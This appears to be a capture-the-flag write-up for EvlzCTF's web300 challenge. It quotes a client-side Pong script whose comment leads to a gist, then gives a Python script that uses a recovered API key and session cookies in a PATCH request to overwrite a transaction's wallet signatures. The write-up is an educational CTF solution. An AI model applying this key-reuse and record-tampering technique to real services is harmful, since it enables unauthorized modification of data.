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@faizal3199
Last active February 11, 2018 07:32
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Write-up for web300 challenge from EvlzCTF

Link to chall: http://35.200.197.38:8016/

On a first glance, the site looked like cryptocurrency trading website. But there was no option for loading our wallet or performing any kind of transactions. There were only a few listed transactions. Also no robots.txt, sitemap.xml (solution for web200) or .git directory were present.

Next, we analyzed headers and cookies, found nothing very interesting other than session cookies. Next thought of checking file source and came across some commented js scripts. Some of them when tried to access returned 400. But, when going through all those js files, helpers.js had a function api_EditSignatures having a commented out link to gist file.

helpers.js:

var canvas = document.getElementById("gameCanv");
var Screen = canvas.getContext("2d");   
canvas.width = (window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth)*0.95;
canvas.height = (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight)*0.95;

//Misc./Component Vars
var scoreColor = "#BBB";
var scoreSize = 120;
var scoreFamily = "Monospace";
var scoreP1 = {'x' : 10 ,'y': canvas.height-20,'text' : 0,'color' : scoreColor,'size' : scoreSize,'family' : scoreFamily,'paddle' : paddle1};
var scoreP2 = {'x' : canvas.width-100,'y':canvas.height-20,'text' : 0,'color' : scoreColor,'size' : scoreSize,'family' : scoreFamily,'paddle' : paddle2};
var divider = {'x' : canvas.width/2-5,'y' : 0,'width' : 10,'height' : canvas.height,'color' : '#888'};
var titleText = {'x' : 30,'y' : 65 ,'text' : 'JSPong for Two','size' : 65,'color' : '#888','family' : 'Monospace'};
var startButton = {'width': 500,'height' : 120, 'x' : canvas.width/2-250,'y' : canvas.height/2-100,'color' : '#AAA','clicked' : false};
startButton.buttonText = {'size': 120,'color' : '#FFF','x': startButton.x+startButton.width*0.1,'y' : startButton.y+startButton.height*0.8,'text' : 'START!','family' : 'Monospace' };
var creditsButton = {'width': 340,'height' : 100, 'x' : 10,'y' : canvas.height-110,'color' : '#AAA','clicked' : false};
creditsButton.buttonText = {'size': 80,'color' : '#FFF','x' : creditsButton.x+creditsButton.width*0.01 ,'y' : creditsButton.y+creditsButton.height*0.8,'text' : 'Credits','family' : 'Monospace' };
var authorText = {'x' : canvas.width*(2/3),'y' : canvas.height-30 ,'text' : 'A Game by chargE','size' : 65,'color' : '#888','family' : 'Monospace'};
var buttons = [startButton,creditsButton];

var mouseClicked = false;


//Paddle Info Vars
var paddleHeight = 100;
var paddleWidth = 15;
var paddleMargin = 4;
var paddleSpeedY = 10;
var paddleColor = '#ddd';

//Puck Info Vars
var puckStartX = canvas.width/2;
var puckStartY = canvas.height/2;
var puckRadius = 20;
var puckSpeedX = Math.pow(-1,Math.floor(Math.random() * 10))*5;
var puckSpeedY = Math.pow(-1,Math.floor(Math.random() * 10))*5;

//Game Object Vars
var paddle1 = {'width' : paddleWidth,'height' : paddleHeight,'speedY' : paddleSpeedY, 'x' : 0+paddleMargin, 'y' : canvas.height/2-paddleHeight/2,'color' : paddleColor,'upPressed' : false,'downPressed' : false};
var paddle2 = {'width' : paddleWidth,'height' : paddleHeight,'speedY' : paddleSpeedY, 'x' : canvas.width-paddleWidth-paddleMargin, 'y' : canvas.height/2-paddleHeight/2,'color' : paddleColor,'upPressed' : false,'downPressed' : false};
var puck = {'radius' : puckRadius,'x' : canvas.width/2,'y' : canvas.height/2,'speedX' : puckSpeedX,'speedY' : puckSpeedY,'color' : '#FFF'};

//Event Listeners 

document.addEventListener("keydown", keyDownHandler, false);
document.addEventListener("keyup", keyUpHandler, false);
document.addEventListener("mousedown",function() { mouseClicked = true;} ,false);
document.addEventListener("mouseup",function() { mouseClicked = false;} ,false);
document.addEventListener("mousemove",mouseClickHandler, false);


function keyDownHandler(e) {
    if(e.keyCode == 38) {
        paddle1.upPressed = true;
    }
    else if(e.keyCode == 40) {
        paddle1.downPressed = true;
    }
    if(e.keyCode == 87) {
        paddle2.upPressed = true;
    }
    if(e.keyCode == 83) {
        paddle2.downPressed = true;
    }
}

function keyUpHandler(e) {
    if(e.keyCode == 38) {
        paddle1.upPressed = false;
    }
    else if(e.keyCode == 40) {
        paddle1.downPressed = false;
    }
    if(e.keyCode == 87) {
        paddle2.upPressed = false;
    }
    else if(e.keyCode == 83) { 
        paddle2.downPressed = false;
    }
}

function mouseClickHandler(e) {
    var relativeX = e.clientX-canvas.offsetLeft;
    var relativeY = e.clientY-canvas.offsetTop;
    if(mouseClicked === true) { 
        for(i = 0;i<buttons.length;i++) {
            checkButtonClicked(buttons[i],relativeX,relativeY);
        }
    }
}    

//BACKGROUND,HUD,MISC
function drawDivider(divider) {
    Screen.beginPath();
    Screen.rect(divider.x,divider.y,divider.width,divider.height);
    Screen.fillStyle = divider.color;
    Screen.fill();
    Screen.closePath();
}

function drawText(text) { 
    Screen.font = text.size+"px "+text.family;
    Screen.fillStyle = text.color;
    Screen.fillText(text.text,text.x,text.y); 
}

function drawButton(button) { 
    drawRect(button);
    drawText(button.buttonText);
}

function drawGameBackground() {
    drawText(titleText);   
    drawDivider(divider);
    drawText(scoreP1);
    drawText(scoreP2);
}
    
function api_EditSignatures():
    // follow snippet: https://gist.github.com/arush15june/f337386ff4b7de2461de11c79bfe49e8 
    return 0;


function checkButtonClicked(button,mouseX,mouseY) { 
        console.log(button.x+" "+(button.x+button.width)+" "+button.y+" "+(button.y+button.height)+" "+mouseX+" "+mouseY+" "+button.clicked);
        if((mouseX >= button.x && mouseX <= button.x+button.width) && (mouseY >= button.y && mouseY <= button.y+button.height)) {    
            button.clicked = true;
        }
        else {
            button.clicked = false;
        }

}

function drawMenuBackground () {
    Screen.clearRect(0,0,canvas.width,canvas.height);
    drawText(titleText);
    drawButton(startButton);
    drawButton(creditsButton);
    drawText(authorText);
    
}

function drawCredits() { 
    Screen.clearRect(0,0,canvas.width,canvas.height);
    drawText(creditText);
    drawText(titleText);
    drawText(authorText);
}

function sleep(milliseconds) {
  var start = new Date().getTime();
  for (var i = 0; i < 1e7; i++) {
    if ((new Date().getTime() - start) > milliseconds){
      break;
    }
  }
}


function debugVars() { 
    console.log("paddle1 : x = "+paddle1.x+" y = "+paddle1.y);
    console.log("paddle2 : x = "+paddle1.x+" y = "+paddle2.y);
    console.log("puck : x = "+puck.x+" y = "+puck.y);
}

//GAME OBJECTS
function drawRect(paddle) { 
    Screen.beginPath();
    Screen.rect(paddle.x,paddle.y,paddle.width,paddle.height);
    Screen.fillStyle = paddle.color;
    Screen.fill();
    Screen.closePath();
}

function drawArc(circ) {
    Screen.beginPath();
    Screen.arc(circ.x,circ.y,circ.radius,0,Math.PI*2);
    Screen.fillStyle = circ.color;
    Screen.fill();
    Screen.closePath();
    
}

function ballReset(puck) { 
    puck.x = puckStartX;
    puck.y = puckStartY;
    puck.speedX = -puck.speedX;
}

//Movement and Collision
function checkPaddle(paddle) { 
    if(paddle.upPressed == true && paddle.y >= 10) {
        paddle.y -= paddle.speedY;
    }
    else if(paddle.downPressed == true && paddle.y+paddle.height+10 <= canvas.height) {
        paddle.y += paddle.speedY;
    }
}
function movePuck(puck) { 
    puck.x += puck.speedX;
    puck.y += puck.speedY;
}

function collideBoundsPuck(ball) { 
    if(ball.y+ball.radius >= canvas.height || ball.y-ball.radius <= 0) { 
        ball.speedY = -ball.speedY;
    } 
}

function collidePuckPaddle(puck,paddle) {
    if(paddle.x <= canvas.width/3) {
        if((puck.x-puck.radius <= paddle.x+paddle.width && puck.x-puck.radius >= paddle.x) && (puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height) ) {
            puck.speedX = -puck.speedX; 
            if(puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height/3) {
                puck.speedY = -puck.speedY;
            }
        }   
    }
    if(paddle.x >= canvas.width*(2/3)) {
        if((puck.x+puck.radius >= paddle.x && puck.x+puck.radius <= paddle.x+paddle.width) && (puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height)) {
            puck.speedX = -puck.speedX;
            if(puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height/3) {
                puck.speedY = -puck.speedY;
            }                                  
        }   
    }
}    

function scoreUpdate(ball,scoreP,paddle) {
    if(paddle.x < canvas.width/3) {
        if(ball.x+ball.radius < paddle.x) { 
            scoreP.text += 1;
            ballReset(puck);
            sleep(500);
        }
    }
    if(paddle.x > canvas.width*(2/3)) {
        if(ball.x-ball.radius > paddle.x+paddle.width) { 
            scoreP.text += 1;
            ballReset(puck);
            sleep(500);
        }
    }
}
                
//SCREEN UPDATE

function drawScreen() {
    

    Screen.clearRect(0,0,canvas.width,canvas.height);
    drawGameBackground();
    drawRect(paddle1);
    drawRect(paddle2);
    drawArc(puck);
        
    checkPaddle(paddle1);
    checkPaddle(paddle2);
    movePuck(puck);
    
    collideBoundsPuck(puck);
    collidePuckPaddle(puck,paddle1);
    collidePuckPaddle(puck,paddle2);
    scoreUpdate(puck,scoreP1,paddle1);
    scoreUpdate(puck,scoreP2,paddle2);   
    
    //debugVars();
    requestAnimationFrame(drawScreen);
}

function drawMenu() { 

    drawMenuBackground();
    
    if(startButton.clicked === true) {
        drawScreen();
        return;
    }
    else if(creditsButton.clicked === true) { 
        drawCredits();
    }
    
    requestAnimationFrame(drawMenu);
}

drawMenu();

After finding gist file it was kind of easy to solve the chall. Python script there was meant to update transactions (though we weren't able to add any new transactions). And the APIKEY required can be found in the older commits. So next task was to send patch request to update transactions with our wallet signatures. When we sent the request it redirected to the login page. So we also need to send our session cookies. The part where we struggled most was that server was returning 500 even after sending cookies. We weren't able to think of any mistake in our script. We tried sending empty JSON object({}) and received 200 status. So opened that transaction to just find it with no signatures assigned. So we deduced that our JSON payload was incorrect.

Finally, it happens to be that server is very strict about JSON syntax. We need to use the double quote instead of the single quote while sending JSON payload in patch request.

solution.py:

import requests

base = 'http://35.231.8.67:8016/' # <base url>
uri = 'transaction/'
uuid = 'a31066e346584ff0ae0845e05590ce40' # <Transaction UUID>
# uuid = '0f1ab8f8491b482291d3d6ac7925204f'

data = {"signatures": ["first-wallet-signature-xxxxxxxxx","second-wallet-signature-xxxxxxxx","third-wallet-signature-xxxxxxxxx"]}

APIKEY = "a3e419378b514f2db99c4d00a1a5fcd9"

auth_cookies = {}
auth_cookies['session']='session-cookie-here'
auth_cookies['remember_token']='remember-token-cookie-here'

req = requests.patch(base+uri+uuid+"?APIKEY="+APIKEY,json=data,allow_redirects=False,cookies=auth_cookies)

print(req.status_code)
print(req.headers)
print(req.text)
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